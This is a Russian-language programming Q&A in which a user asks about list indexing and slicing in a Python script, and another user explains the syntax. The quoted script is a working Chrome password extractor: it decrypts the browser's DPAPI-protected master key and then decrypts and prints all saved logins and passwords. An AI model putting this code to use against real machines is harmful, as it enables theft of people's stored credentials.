-3

Хочу не много разобраться в коде, а именно вот в этой строчке:

key = base64.b64decode(matches[0])[5:]

Не очень понимаю, что означает [0] и [5:] и для чего они нужны. Объясните пожалуйста или скиньте ссылку, где можно почитать.

import base64
import os
import re
import shutil
import sqlite3

import win32crypt from Cryptodome.Cipher import AES

chrome_pass = os.getenv('LOCALAPPDATA') + r"\Google\Chrome\User Data\Default\Login Data" chrome_key = os.getenv('LOCALAPPDATA') + r"\Google\Chrome\User Data\Local State"

def chrome():

    if os.path.exists(chrome_pass):
        with open(chrome_key, 'r') as f:
            matches = re.findall(r'"encrypted_key":"(.+?)"', f.read())
            key = base64.b64decode(matches[0])[5:]
            secret_key = win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]
        shutil.copy2(chrome_pass, "Logincopy.db")
        conn = sqlite3.connect("Logincopy.db")
        cursor = conn.cursor()
        cursor.execute('SELECT origin_url, username_value, password_value FROM Logins')
        show = cursor.fetchall()
        for origin_url, username_value, password_value in show:
            print(password_value)
            initialisation_vector = password_value[3:15]
            encrypted_password = password_value[15:-16]
            cipher = AES.new(secret_key, AES.MODE_GCM, initialisation_vector)
            decrypted_pass = cipher.decrypt(encrypted_password)
            decrypted_pass = decrypted_pass.decode()
            text = origin_url + '\n' + username_value + '\n' + decrypted_pass + '\n'
            print(text)





1 Answers1

0

matches[0] - функция поиска модуля re findall возвращает все вхождения паттерна в строку, то есть если он будет входить 1 раз то будет список с одним элементом строкой ['вот так'] и нам нужно её получить поэтому берём первый элемент списка вот так [0].
[5:] - Первые 5 символов ключа это DPAPI они будут мешать расшифровке поэтому мы их удаляем двоеточие означает взятие всех элементов после индекса в данном случае 5.

gord1402
  • 2,053
  • То есть [0] нам выводит всю строку, а [5:] удаляет первые 5 символов этой строки, верно? – kevvler May 14 '23 at 18:07
  • @kevvler да можете почитать здесь https://pythonworld.ru/osnovy/indeksy-i-srezy.html – gord1402 May 14 '23 at 18:18
  • Огромное спасибо!!! – kevvler May 14 '23 at 18:22
  • Не просвятите ещё по моменту, где win.32.CryptUnprotectdata за круглыми скобками ставится [1]. Зачем это делается? В интернете нечего – kevvler May 15 '23 at 15:28
  • @kevvler https://mhammond.github.io/pywin32/win32crypt__CryptUnprotectData_meth.html в возвращаемом значении написано, что функция возвращает кортеж (описание, данные) нам нужны только данные – gord1402 May 15 '23 at 15:34
  • Спасибо ещё раз!) – kevvler May 15 '23 at 15:38